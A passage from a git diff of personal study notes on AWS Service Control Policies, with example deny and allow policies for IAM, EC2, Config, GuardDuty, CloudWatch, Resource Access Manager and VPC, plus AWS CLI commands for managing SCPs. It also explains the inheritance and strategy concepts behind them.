exempt requests made by either of two specified administrator roles. + } + } + } + ] +} +``` + +--- + + +## Example: Prevent IAM users/roles from making certain changes + +This SCP +- restricts IAM users/roles from making changes to the specified IAM role that you created in all accounts in the organization. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAccessToASpecificRole", + "Effect": "Deny", + "Action": [ + "iam:AttachRolePolicy", + "iam:DeleteRole", + "iam:DeleteRolePermissionsBoundary", + "iam:DeleteRolePolicy", + "iam:DetachRolePolicy", + "iam:PutRolePermissionsBoundary", + "iam:PutRolePolicy", + "iam:UpdateAssumeRolePolicy", + "iam:UpdateRole", + "iam:UpdateRoleDescription" + ], + "Resource": [ + "arn:aws:iam::*:role/name-of-role-to-deny" + ] + } + ] +} +``` + +--- + + +## Example: Prevent IAM users/roles from making specified changes, with exception for specified admin role + +This SCP +- builds on the previous example to make an exception for administrators. +- prevents IAM users/roles in affected accounts from making changes to a common administrative IAM role created in all accounts in the organization except for administrators using a specified role. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyAccessWithException", + "Effect": "Deny", + "Action": [ + "iam:AttachRolePolicy", + "iam:DeleteRole", + "iam:DeleteRolePermissionsBoundary", + "iam:DeleteRolePolicy", + "iam:DetachRolePolicy", + "iam:PutRolePermissionsBoundary", + "iam:PutRolePolicy", + "iam:UpdateAssumeRolePolicy", + "iam:UpdateRole", + "iam:UpdateRoleDescription" + ], + "Resource": [ + "arn:aws:iam::*:role/name-of-role-to-deny" + ], + "Condition": { + "StringNotLike": { + "aws:PrincipalARN":"arn:aws:iam::*:role/name-of-admin-role-to-allow" + } + } + } + ] +} +``` + +--- + + +## Example: Require MFA to perform an API action + +This SCP +- require that multi-factor authentication (MFA) is enabled before an IAM user or role can perform an action. +- In this example, the action is to stop an Amazon EC2 instance. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyStopAndTerminateWhenMFAIsNotPresent", + "Effect": "Deny", + "Action": [ + "ec2:StopInstances", + "ec2:TerminateInstances" + ], + "Resource": "*", + "Condition": { + "BoolIfExists": { + "aws:MultiFactorAuthPresent": false + } + } + } + ] +} +``` + +--- + + +## Example: Block service access for the root user + +This SCP +- restricts all access to the specified actions for the [root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/idroot-user.html) in an account. +- to prevent the accounts from using root credentials in specific ways, add the own actions to this policy. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "RestrictEC2ForRoot", + "Effect": "Deny", + "Action": [ + "ec2:*" + ], + "Resource": "*", + // "Resource": ["*"], + "Condition": { + "StringLike": { + "aws:PrincipalArn": ["arn:aws:iam::*:root"] + } + } + } + ] +} +``` + + + + +--- + +# Example: SCPs for AWS Config + +--- + + +## Example: Prevent users from disabling AWS Config or changing its rules + +This SCP +- prevents users/roles in any affected account from running AWS Config operations that could disable AWS Config or alter its rules or triggers. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "config:DeleteConfigRule", + "config:DeleteConfigurationRecorder", + "config:DeleteDeliveryChannel", + "config:StopConfigurationRecorder" + ], + "Resource": "*" + } + ] +} +``` + + +--- + +# Example SCPs for Amazon CloudWatch + +--- + +## Example: Prevent users from disabling CloudWatch or altering its configuration + +- A lower-level CloudWatch operator needs to monitor dashboards and alarms. +- However, the operator must not be able to delete or change any dashboard or alarm that senior people might put into place. + +This SCP +- prevents users/roles in any affected account from running any of the CloudWatch commands that could delete or change the dashboards or alarms. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "cloudwatch:DeleteAlarms", + "cloudwatch:DeleteDashboards", + "cloudwatch:DisableAlarmActions", + "cloudwatch:PutDashboard", + "cloudwatch:PutMetricAlarm", + "cloudwatch:SetAlarmState" + ], + "Resource": "*" + } + ] +} +``` + +--- + +# Example SCPs for Amazon EC2 + +--- + + +## Example: Require Amazon EC2 instances to use a specific type + +This SCP +- any instance launches not using the `t2.micro` instance type are denied. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "RequireMicroInstanceType", + "Effect": "Deny", + "Action": "ec2:RunInstances", + "Resource": "arn:aws:ec2:*:*:instance/*", + "Condition": { + "StringNotEquals":{ + "ec2:InstanceType":"t2.micro" + } + } + } + ] +} +``` + +--- + +# Example SCPs for Amazon GuardDuty + +--- + + +## Example: Prevent users from disabling GuardDuty or modifying its configuration + +This SCP +- prevents users/roles in any affected account from disabling GuardDuty or altering its configuration, + - either directly as a command or through the console. +- It effectively enables read-only access to the GuardDuty information and resources. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "guardduty:AcceptInvitation", + "guardduty:ArchiveFindings", + "guardduty:CreateDetector", + "guardduty:CreateFilter", + "guardduty:CreateIPSet", + "guardduty:CreateMembers", + "guardduty:CreatePublishingDestination", + "guardduty:CreateSampleFindings", + "guardduty:CreateThreatIntelSet", + "guardduty:DeclineInvitations", + "guardduty:DeleteDetector", + "guardduty:DeleteFilter", + "guardduty:DeleteInvitations", + "guardduty:DeleteIPSet", + "guardduty:DeleteMembers", + "guardduty:DeletePublishingDestination", + "guardduty:DeleteThreatIntelSet", + "guardduty:DisassociateFromMasterAccount", + "guardduty:DisassociateMembers", + "guardduty:InviteMembers", + "guardduty:StartMonitoringMembers", + "guardduty:StopMonitoringMembers", + "guardduty:TagResource", + "guardduty:UnarchiveFindings", + "guardduty:UntagResource", + "guardduty:UpdateDetector", + "guardduty:UpdateFilter", + "guardduty:UpdateFindingsFeedback", + "guardduty:UpdateIPSet", + "guardduty:UpdatePublishingDestination", + "guardduty:UpdateThreatIntelSet" + ], + "Resource": "*" + } + ] +} +``` + + +--- + +# Example SCPs for AWS Resource Access Manager + +--- + +## Example: Preventing external sharing + +This SCP +- prevents users from creating resource shares that allow sharing with IAM users ad roles that aren't part of the organization. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "ram:CreateResourceShare", + "ram:UpdateResourceShare" + ], + "Resource": "*", + "Condition": { + "Bool": { + "ram:RequestedAllowsExternalPrincipals": "true" + } + } + } + ] +} +``` + +--- + + +## Example: Allowing specific accounts to share only specified resource types + +This SCP +- allows accounts `111111111111` and `222222222222` to create resource shares that share prefix lists, +- and to associate prefix lists with existing resource shares. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "OnlyNamedAccountsCanSharePrefixLists", + "Effect": "Deny", + "Action": [ + "ram:AssociateResourceShare", + "ram:CreateResourceShare" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:PrincipalAccount": [ + "111111111111", + "222222222222" + ] + }, + "StringEquals": { + "ram:RequestedResourceType": "ec2:PrefixList" + } + } + } + ] +} +``` + +--- + + +## Example: Prevent sharing with organizations or organizational units (OUs) + +This SCP +- prevents users from creating resource shares that share resources with an AWS Organization or OUs. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "ram:CreateResourceShare", + "ram:AssociateResourceShare" + ], + "Resource": "*", + "Condition": { + "ForAnyValue:StringLike": { + "ram:Principal": [ + "arn:aws:organizations::*:organization/*", + "arn:aws:organizations::*:ou/*" + ] + } + } + } + ] +} +``` + +--- + + +## Example: Allow sharing with only specified IAM users/roles + +This SCP +- allows users to share resources with only organization `o-12345abcdef`, organizational unit `ou-98765fedcba`, and account `111111111111`. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "ram:AssociateResourceShare", + "ram:CreateResourceShare" + ], + "Resource": "*", + "Condition": { + "ForAnyValue:StringNotEquals": { + "ram:Principal": [ + "arn:aws:organizations::123456789012:organization/o-12345abcdef", + "arn:aws:organizations::123456789012:ou/o-12345abcdef/ou-98765fedcba", + "111111111111" + ] + } + } + } + ] +} +``` + +--- + +# Example SCPs for Amazon VPC + +--- + + +## Example: Prevent users from deleting Amazon VPC flow logs + +This SCP +- prevents users/roles in any affected account from deleting Amazon EC2 flow logs or CloudWatch log groups or log streams. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "ec2:DeleteFlowLogs", + "logs:DeleteLogGroup", + "logs:DeleteLogStream" + ], + "Resource": "*" + } + ] + } + ``` + +--- + + +## Example: Prevent any VPC that doesn't already have internet access from getting it + +This SCP +- prevents users/roles in any affected account from changing the configuration of the Amazon EC2 VPCs to grant them direct access to the internet. +- It doesn't block existing direct access or any access that routes through the on-premises network environment. + + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "ec2:AttachInternetGateway", + "ec2:CreateInternetGateway", + "ec2:CreateEgressOnlyInternetGateway", + "ec2:CreateVpcPeeringConnection", + "ec2:AcceptVpcPeeringConnection", + "globalaccelerator:Create*", + "globalaccelerator:Update*" + ], + "Resource": "*" + } + ] +} +``` + +--- + +# Example SCPs for tagging resources + +--- + + +## Example: Require a tag on specified created resources + +This SCP +- prevents IAM users/roles in the affected accounts from creating certain resource types if the request doesn't include the specified tags. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "DenyCreateSecretWithNoProjectTag", + "Effect": "Deny", + "Action": "secretsmanager:CreateSecret", + "Resource": "*", + "Condition": { + "Null": { + "aws:RequestTag/Project": "true" + } + } + }, + { + "Sid": "DenyRunInstanceWithNoProjectTag", + "Effect": "Deny", + "Action": "ec2:RunInstances", + "Resource": [ + "arn:aws:ec2:*:*:instance/*", + "arn:aws:ec2:*:*:volume/*" + ], + "Condition": { + "Null": { + "aws:RequestTag/Project": "true" + } + } + }, + { + "Sid": "DenyCreateSecretWithNoCostCenterTag", + "Effect": "Deny", + "Action": "secretsmanager:CreateSecret", + "Resource": "*", + "Condition": { + "Null": { + "aws:RequestTag/CostCenter": "true" + } + } + }, + { + "Sid": "DenyRunInstanceWithNoCostCenterTag", + "Effect": "Deny", + "Action": "ec2:RunInstances", + "Resource": [ + "arn:aws:ec2:*:*:instance/*", + "arn:aws:ec2:*:*:volume/*" + ], + "Condition": { + "Null": { + "aws:RequestTag/CostCenter": "true" + } + } + } + ] +} +``` + +For a list of all the services and the actions that they support in both AWS Organizations SCPs and IAM permission policies, see [Actions, Resources, and Condition Keys for AWS Services](https://docs.aws.amazon.com/IAM/latest/UserGuide/referencepoliciesactions-resources-contextkeys.html) in the IAM User Guide. + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs.md b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs.md new file mode 100644 index 00000000000..904359236c9 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/policy/2020-07-18-SCPs.md @@ -0,0 +1,1199 @@ +--- +title: AWS - IdenAccessManage - SCPs (Service Control Policies) +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage, SCPs] +toc: true +image: +--- + +- [Service Control Policies (SCPs)](#service-control-policies-scps) + - [basic](#basic) + - [Testing effects of SCPs](#testing-effects-of-scps) + - [Maximum size of SCPs](#maximum-size-of-scps) + - [Inheritance of SCPs in the OU hierarchy](#inheritance-of-scps-in-the-ou-hierarchy) + - [Effects on permissions](#effects-on-permissions) + - [Using access data to improve SCPs](#using-access-data-to-improve-scps) + - [create, update, and delete](#create-update-and-delete) + - [Creating an SCP](#creating-an-scp) + - [Updating an SCP](#updating-an-scp) + - [Editing tags attached to an SCP](#editing-tags-attached-to-an-scp) + - [Deleting an SCP](#deleting-an-scp) + - [Attach and detach](#attach-and-detach) + - [Attach](#attach) + - [Detaching an SCP from the organization root, OUs, or accounts](#detaching-an-scp-from-the-organization-root-ous-or-accounts) + - [Strategies for using SCPs](#strategies-for-using-scps) + - [SCPs `FullAWSAccess`](#scps-fullawsaccess) + - [Using SCPs as a deny list](#using-scps-as-a-deny-list) + - [Using SCPs as an allow list](#using-scps-as-an-allow-list) + - [SCP syntax](#scp-syntax) + - [`*`](#) + - [`Version` element](#version-element) + - [`Statement` element](#statement-element) + - [Statement ID (`Sid`) element](#statement-id-sid-element) + - [`Effect` element](#effect-element) + - [`"Effect": "Allow"`](#effect-allow) + - [`"Effect": "Deny"`](#effect-deny) + - [`Action` and `NotAction` elements](#action-and-notaction-elements) + - [`Action` element](#action-element) + - [Example of `NotAction` element ???](#example-of-notaction-element-) + - [`Resource` element](#resource-element) + - [`Condition` element](#condition-element) + - [multiple condition](#multiple-condition) + - [Unsupported elements](#unsupported-elements) + + +--- + +# Service Control Policies (SCPs) + +--- + +## basic + +- one type of policy + +- use to manage organization + - Attaching an SCP to an AWS Organizations entity (root, OU, or account) + - defines a guardrail for what actions the principals can perform. + +- enables permission controls + - can limit account usage to organizational units or linked accounts. + - offer central control over the maximum available permissions for all accounts in organization + - ensure accounts stay in organization’s access control guidelines. + +- available only in an organization that has all features enabled + - SCPs are not automatically enabled; + - including consolidated billing + - SCPs aren't available if organization has enabled only the consolidated billing feature + +- restrict the root user of an Organization Unit account + - SCP is a way to restrict a root user on an account. + - defines a safeguard for the actions that accounts in the organization root or OU can do. + - Attaching an SCP to the organization root/unit (OU) + - Log in to the master account and create the SCP + - Select the Organizational Unit + - Enable the SCP for the Organizational Unit + - Attach the SCP to the member account within the Organizational Unit + +- not a substitute for well-managed each account + - still need attach IAM policies to users/roles in organization's accounts + - to actually grant permissions to them. + +- similar to IAM permissions policies + - almost the same syntax. JSON + - but, SCP policies never grants permissions. + - it the maximum permissions  for an organization or OU. + +- No permissions are granted by an SCP + - it defines a guardrail, or sets limits, on the actions that the account's administrator can delegate to the IAM users/roles in the affected accounts. + - The administrator must still attach `identity/resource-based policies` to IAM users/roles, or to the resources in accounts to actually grant permissions. + - The effective permissions + - the logical intersection between **what is allowed by the SCP** and **what is allowed by the IAM/Resource-based policies** + - Important + - SCPs don't affect users or roles in the management account. + - affect only the member accounts in the organization. + +- by default `FullAWSAccess` + - a service control policy + - allows users to access services/resources on an attached account. + - allows access to all AWS services within an attached member account + + +--- + +## Testing effects of SCPs + +> recommends +> don't attach SCPs to the root of the organization without thoroughly testing the impact that the policy has on accounts. + +Instead, create an OU that you can move the accounts into one at a time, or at least in small numbers, to ensure that you don't inadvertently lock users out of key services. + + +to determine whether a service is used by an account +1. examine the [service last accessed data in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/accesspoliciesaccess-advisor.html). +2. [use AWS CloudTrail to log service usage at the API level](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/how-cloudtrail-works.html). + +--- + + +## Maximum size of SCPs + +All characters in the SCP count against its maximum size. +- if the policy size approaches the maximum size, delete any white space, such as space characters and line breaks that are outside quotation marks. + +> Use the visual editor to build the SCP. +> It automatically removes extra white space. + +--- + + +## Inheritance of SCPs in the OU hierarchy + +[Detailed explanation] + +![HowSCPPermissionsWork](https://i.imgur.com/82X5eFC.png) + +--- + + +## Effects on permissions + +- similar to AWS IAM permission policies and use almost the same syntax. +- However, an SCP never grants permissions. +- Instead, SCPs are JSON policies that specify the maximum permissions for the affected accounts. + +- SCPs affect only IAM users/roles managed by accounts that are part of the organization + - don't affect resource-based policies directly. + - also don't affect users or roles from accounts outside the organization. + - For example + - an Amazon S3 bucket that's owned by account A in an organization. + - The bucket policy (resource-based policy) grants access to users from account B outside the organization. + - Account A has an SCP attached that doesn't apply to those outside users in account B. + - The SCP applies only to users that are managed by account A in the organization. + +- SCP restricts permissions for IAM users/roles in member accounts, including the member account's root user + - Any account has only those permissions permitted by **every** parent above it. + - If a permission is blocked at any level above the account + - either implicitly + - not being included in an Allow policy statement + - or explicitly + - being included in a Deny policy statement + - a user/role in the affected account can't use that permission + - even if the account administrator attaches the AdministratorAccess IAM policy with `*/*` permissions to the user. + +- SCPs affect only member accounts in the organization + - They have no effect on users or roles in the management account. + +- Users/roles must still be granted permissions by IAM permission policies + - A user without any IAM permission policies has no access, even if the applicable SCPs allow all services and all actions. + + - If a user/role has an IAM permission policy grants access to an action that is also allowed by the applicable SCPs + - the user/role can perform that action. + + - If a user/role has an IAM permission policy grants access to an action that is not allowed or explicitly denied by the applicable SCPs + - the user/role can't perform that action. + +- SCPs affect all users/roles in attached accounts, including the root user + - The only exceptions are + - some Tasks and entities not restricted by SCPs + - Any action performed by the management account + - Any action performed using permissions that are attached to a service-linked role + - Register for the Enterprise support plan as the root user + - Change the AWS support level as the root user + - Manage Amazon CloudFront keys as the root user + - Provide trusted signer functionality for CloudFront private content + - Configure reverse DNS for an Amazon Lightsail email server as the root user + - Tasks on some AWS-related services: + - Alexa Top Sites + - Alexa Web Information Service + - Amazon Mechanical Turk + - Amazon Product Marketing API + + - **Exceptions for only member accounts created before September 15, 2017** + - **can't** use SCPs to prevent the root user in those member accounts from performing the following tasks: + - Enable or disable multi-factor authentication on the root user + - Create, update, or delete x.509 keys for the root user + - Change the root user's password + - Create, update, or delete root access keys + - For **all** accounts created after September 15, 2017, the exceptions don't apply and you **can-* use SCPs to prevent the root user in those member accounts from performing the following tasks. + - However, unless you are certain that **all** of the accounts in the organization were created after September 15, 2017, recommend that don’t rely on SCPs to try to restrict these operations + + + +- SCPs do not affect any service-linked role + - Service-linked roles enable other AWS services to integrate with AWS Organizations + - can't be restricted by SCPs. + +- disable the SCP policy type in a root + - all SCPs are automatically detached from all AWS Organizations entities in that root + - AWS Organizations entities: organizational units, organizations, and accounts. + +- re-enable SCPs in a root + - that root reverts to only the default `FullAWSAccess` policy automatically attached to all entities in the root. + - Any attachments of SCPs to AWS Organizations entities from before SCPs were disabled are lost and aren't automatically recoverable, although you can manually reattach them. + +- If both a permissions boundary (an advanced IAM feature) and an SCP are present + - then the boundary, the SCP, and the identity-based policy must all allow the action. + + +--- + +## Using access data to improve SCPs + +When signed in with management account credentials +- IAM console > AWS Organizations section, view **service last accessed data** for an AWS Organizations entity or policy +- or use the AWS CLI or AWS API in IAM to retrieve **service last accessed data**. + +service last accessed data +- includes information about which allowed services that the IAM users/roles in an AWS Organizations account last attempted to access and when. +- use this information to identify unused permissions so that you can refine the SCPs to better adhere to the principle of least privilege + +example +- might have a deny list SCP that prohibits access to three AWS services. +- All services that aren't listed in the SCP's Deny statement are allowed. +- The **service last accessed data** in IAM tells you which AWS services are allowed by the SCP but are never used. +- update the SCP to deny access to services that don't need. + +example: + +- [Viewing Organizations Service Last Accessed Data for Organizations](https://docs.aws.amazon.com/IAM/latest/UserGuide/accesspoliciesaccess-advisor-view-data-orgs.html) + +- [Using Data to Refine Permissions for an Organizational Unit](https://docs.aws.amazon.com/IAM/latest/UserGuide/accesspoliciesaccess-advisor-example-scenarios.html#accesspoliciesaccess-advisor-reduce-permissions-orgs) + + +--- + + +## create, update, and delete + +When you sign in to the organization's management account, you can create and update service control policies (SCPs) +- building statements that deny or allow access to services and actions + + +The default configuration for working with SCPs is to use a "block list" strategy +- where all actions are implicitly allowed except for those actions you want to block by creating statements that deny access. +- With deny statements, you can specify resources and conditions for the statement and use the [NotAction](https://docs.aws.amazon.com/IAM/latest/UserGuide/referencepolicieselementsnotaction.html) element. + +> use [service last accessed data](https://docs.aws.amazon.com/IAM/latest/UserGuide/accesspoliciesaccess-advisor.html) in IAM as a data point for updating the SCPs to restrict access to only the AWS services that you need. + +--- + +### Creating an SCP + +- Minimum permissions + - To create SCPs, need permission to run the following action: + - `organizations:CreatePolicy` + +- AWS CLI + - [aws organizations create-policy](https://docs.aws.amazon.com/cli/latest/reference/organizations/create-policy.html) + - Example + - assumes have a file named `Deny-IAM.json` with the JSON policy text in it. + - It uses that file to create a new service control policy. + +```bash +$ aws organizations create-policy \ + --content file://Deny-IAM.json \ + --description "Deny all IAM actions" \ + --name DenyIAMSCP \ + --type SERVICECONTROLPOLICY +# { +# "Policy": { +# "PolicySummary": { +# "Id": "p-i9j8k7l6m5", +# "Arn": "arn:aws:organizations::123456789012:policy/o-aa111bb222/servicecontrolpolicy/p-i9j8k7l6m5", +# "Name": "DenyIAMSCP", +# "Description": "Deny all IAM actions", +# "Type": "SERVICECONTROLPOLICY", +# "AwsManaged": false +# }, +# "Content": "{"Version":"2012-10-17","Statement":[{"Sid":"Statement1","Effect":"Deny","Action":["iam:*"],"Resource":["*"]}]}" +# } +# } +``` + +- AWS SDKs: + - [CreatePolicy](https://docs.aws.amazon.com/organizations/latest/APIReference/APICreatePolicy.html) + + +--- + +### Updating an SCP + + +Minimum permissions +- To update an SCP, you need permission to run the following actions: + + - `organizations:UpdatePolicy` + - with a `Resource` element in the same policy statement that includes the ARN of the specified policy (or `\*`) + + - `organizations:DescribePolicy` + - with a `Resource` element in the same policy statement that includes the ARN of the specified policy (or `\*`) + + +- AWS CLI: + - [aws organizations update-policy](https://docs.aws.amazon.com/cli/latest/reference/organizations/update-policy.html) + - Example + +```bash +# renames a policy. +$ aws organizations update-policy \ + --policy-id p-i9j8k7l6m5 \ + --name "MyRenamedPolicy" +# { +# "Policy": { +# "PolicySummary": { +# "Id": "p-i9j8k7l6m5", +# "Arn": "arn:aws:organizations::123456789012:policy/o-aa111bb222/servicecontrolpolicy/p-i9j8k7l6m5", +# "Name": "MyRenamedPolicy", +# "Description": "Blocks all IAM actions", +# "Type": "SERVICECONTROLPOLICY", +# "AwsManaged": false +# }, +# "Content": "{"Version":"2012-10-17","Statement":[{"Sid":"Statement1","Effect":"Den"Action":["iam:*"],"Resource":["*"]}]}" +# } +# } + + +# adds or changes the description for a service control policy. +$ aws organizations update-policy \ + --policy-id p-i9j8k7l6m5 \ + --description "My new policy description" + # { + # "Policy": { + # "PolicySummary": { + # "Id": "p-i9j8k7l6m5", + # "Arn": "arn:aws:organizations::123456789012:policy/o-aa111bb222/servicecontrolpolicy/p-i9j8k7l6m5", + # "Name": "MyRenamedPolicy", + # "Description": "My new policy description", + # "Type": "SERVICECONTROLPOLICY", + # "AwsManaged": false + # }, + # "Content": "{"Version":"2012-10-17","Statement":[{"Sid":"Statement1","Effect":"Deny","Action":["iam:*"],"Resource":["*"]}]}" + # } + # } + + +# changes the policy document of the SCP by specifying a file that contains the new JSON policy text. +$ aws organizations update-policy \ + --policy-id p-zlfw1r64 + --content file://MyNewPolicyText.json + # { + # "Policy": { + # "PolicySummary": { + # "Id": "p-i9j8k7l6m5", + # "Arn": "arn:aws:organizations::123456789012:policy/o-aa111bb222/servicecontrolpolicy/p-i9j8k7l6m5", + # "Name": "MyRenamedPolicy", + # "Description": "My new policy description", + # "Type": "SERVICECONTROLPOLICY", + # "AwsManaged": false + # }, + # "Content": "{"Version":"2012-10-17","Statement":[{"Sid":"AModifiedPolicy","Effect":"Deny","Action":["iam:*"],"Resource":["*"]}]}" + # } + # } +``` + + +- AWS SDKs: + - [UpdatePolicy](https://docs.aws.amazon.com/organizations/latest/APIReference/APIUpdatePolicy.html) + + +--- + +### Editing tags attached to an SCP + +add or remove the tags attached to an SCP. For more information about tagging + +- Minimum permissions + - To edit the tags attached to an SCP in the AWS organization, you must have the following permissions: + - `organizations:DescribeOrganization` – required only when using the Organizations console + - `organizations:DescribePolicy` – required only when using the Organizations console + - `organizations:TagResource` + - `organizations:UntagResource` + +- AWS CLI: + - [aws organizations tag-resource](https://docs.aws.amazon.com/cli/latest/reference/organizations/tag-resource.html) + - [aws organizations untag-resource](https://docs.aws.amazon.com/cli/latest/reference/organizations/untag-resource.html) + +- AWS SDKs: + - [TagResource](https://docs.aws.amazon.com/organizations/latest/APIReference/APITagResource.html) + - [UntagResource](https://docs.aws.amazon.com/organizations/latest/APIReference/APIUntagResource.html) + + +--- + + +### Deleting an SCP + + +- Before you can delete a policy, you must first detach it from all attached entities. +- can't delete any AWS managed SCP such as the SCP named `FullAWSAccess`. + +- Minimum permissions + - To delete an SCP, you need permission to run the following action: + - `organizations:DeletePolicy` + + +- AWS CLI: + - [aws organizations delete-policy](https://docs.aws.amazon.com/cli/latest/reference/organizations/delete-policy.html) + +```bash +$ aws organizations delete-policy \ + --policy-id p-i9j8k7l6m5 + # This command produces no output when successful. +``` + +- AWS SDKs: + - [DeletePolicy](https://docs.aws.amazon.com/organizations/latest/APIReference/APIDeletePolicy.html) + + +--- + + +## Attach and detach + +--- + +### Attach + +Minimum permissions +- To attach an SCP to a root, OU, or account, you need permission to run the following action: +- `organizations:AttachPolicy` + - with a `Resource` element in the same policy statement that + - includes + - `*` or the Amazon Resource Name (ARN) of the specified policy + - and the ARN of the root, OU, or account that you want to attach the policy to + +- AWS CLI: + +```bash +$ aws organizations attach-policy \ + --policy-id p-i9j8k7l6m5 \ + --target-id ou-a1b2-f6g7h222 +This command produces no output when successful. +``` +- AWS SDKs: `AttachPolicy` + +--- + +### Detaching an SCP from the organization root, OUs, or accounts + +> You can't detach the last SCP from a root, an OU, or an account. There must be at least one SCP attached to every root, OU, and account at all times. + +Minimum permissions +- To detach an SCP from the root, OU, or account, you need permission to run the following action: +- `organizations:DetachPolicy` + + +- AWS CLI: + +```bash +$ aws organizations detach-policy \ + --policy-id p-i9j8k7l6m5 \ + --target-id ou-a1b2-f6g7h222 +``` + +- AWS SDKs: `DetachPolicy` + + +--- + + +## Strategies for using SCPs + +configure the service control policies (SCPs) as either of the following: + +- A deny list strategy + - actions are allowed by default, + - and you specify what services and actions are prohibited + - makes use of the `FullAWSAccess` SCP attached by default to every OU and account. + - This SCP + - overrides the default implicit deny + - explicitly allows all permissions from the root to every account + - unless explicitly deny a permission with an additional SCP created and attached to the appropriate OU or account. + - This strategy works because an explicit deny in a policy always overrides allow + - No account below the level of the OU with the deny policy can use the denied API + - and there is no way to add the permission back lower in the hierarchy. + +- An allow list strategy + - actions are prohibited by default + - and you specify what services and actions are allowed + - remove the `FullAWSAccess` SCP ttached by default to every OU and account. + - no APIs are permitted anywhere unless you explicitly allow them. + - To allow a service API to operate in an AWS account, you must create your own SCPs and attach them to the account and every OU above it, up to and including the root. + - Every SCP in the hierarchy, starting at the root, must explicitly allow the APIs to be usable in the OUs and accounts below it. + - This strategy works because an explicit allow in an SCP overrides an implicit 暗示的 deny + + +--- + +### SCPs `FullAWSAccess` + +AWS Organizations attaches an AWS managed SCP named `FullAWSAccess` to every root and OU when it's created. +- This policy allows all services and actions. +- attach or detach from the entities in your organization as needed. +- Because the policy is an AWS managed SCP, you can't modify or delete it. + +The policy looks like the following. + +```json +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "*", + "Resource": "*" + } + ] +} +``` + +--- + + +### Using SCPs as a deny list + +The default configuration of AWS Organizations supports using SCPs as deny lists. +- Using a deny list strategy +- account administrators can delegate all services and actions until you create and attach an SCP that denies a specific service or set of actions. +- Deny statements require less maintenance, + - no need to update them when AWS adds new services. +- Deny statements usually use less space + - easier to stay within the maximum size for SCPs. +- In a statement where the Effect element has a value of Deny, you can also restrict access to specific resources, or define conditions for when SCPs are in effect. + + +Such a policy might look like the following example + +```json + +// 1. +// This SCP still allows all other services and their actions. +// prevents users in the affected accounts from performing any actions for the Amazon DynamoDB service. +{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AllowsAllActions", + "Effect": "Allow", + "Action": "*", + "Resource": "*" + }, + { + "Sid": "DenyDynamoDB", + "Effect": "Deny", + "Action": "dynamodb:*", + "Resource": "*" + } + ] +} + + +// 2. leaving the FullAWSAccess policy in place +// and then attaching a second policy that has only the Deny statement in it +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": "dynamodb:*", + "Resource": "*" + } + ] +} +``` + + +--- + + +### Using SCPs as an allow list + +1. must replace the AWS managed `FullAWSAccess` SCP with an SCP that explicitly permits only those services and actions that you want to allow. +2. By removing the default `FullAWSAccess` SCP, all actions for all services are now implicitly denied. +3. Your custom SCP then overrides the implicit Deny with an explicit Allow for only those actions that you want to permit. +4. For a permission to be enabled for a specified account, every SCP from the root through each OU in the direct path to the account, and even attached to the account itself, must allow that permission. + +An Allow statement in an SCP +- can't have a Resource element with anything except a "*". +- can't have a Condition element at all. + + +An allow list policy might look like the following example + +```json +// enables account users to perform operations for Amazon Elastic Compute Cloud (Amazon EC2) and Amazon CloudWatch, but no other service. +// All SCPs in parent OUs and the root also must explicitly allow these permissions. +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": [ + "ec2:*", + "cloudwatch:*" + ], + "Resource": "*" + } + ] +} +``` + + +--- + + +## SCP syntax + +Elements summary + +| Element | Purpose | Supported effects | +| ------------------ | ------------------------------------------------------------------------------------------------------- | ----------------- | +| Version | Specifies the language syntax rules to use for processing the policy. | `Allow`, `Deny` | +| Statement | Serves as the container for policy elements. You can have multiple statements in SCPs. | `Allow`, `Deny` | +| Statement ID (Sid) | (Optional) Provides a friendly name for the statement. | `Allow`, `Deny` | +| Effect | Defines whether the SCP statement `allows` or `denies` access to the IAM users and roles in an account. | `Allow`, `Deny` | +| Action | Specifies AWS service and actions that the SCP allows or denies. | `Allow`, `Deny` | +| NotAction | Specifies AWS service and actions that are exempt from the SCP. Used instead of the `Action` element. | `Deny` | +| Resource | Specifies the AWS resources that the SCP applies to. | `Deny` | +| Condition | Specifies conditions for when the statement is in effect. | `Deny` | + +--- + +### `*` + +It is case sensitivity in SCP +- the Action and NotAction are case sensitive and must be typed as shown in each service's documentation. + +can use an asterisk (`*`) as a wildcard to match multiple actions that share part of a name, +- however, the wildcard characters (`*`) and (`?`) in an Action or NotAction element can be used `only by itself` or `at the end of the string`. +- It can't appear at the beginning or middle of the string. +- `"servicename:action*"` is valid, +- but `"servicename:*action"` and `"servicename:some*action"` are both invalid in SCPs. + + +### `Version` element + +- Every SCP must include a `Version` element with the value `"2012-10-17"`. +- This is the same version value as the most recent version of IAM permission policies. + +`"Version": "2012-10-17",` + +--- + +### 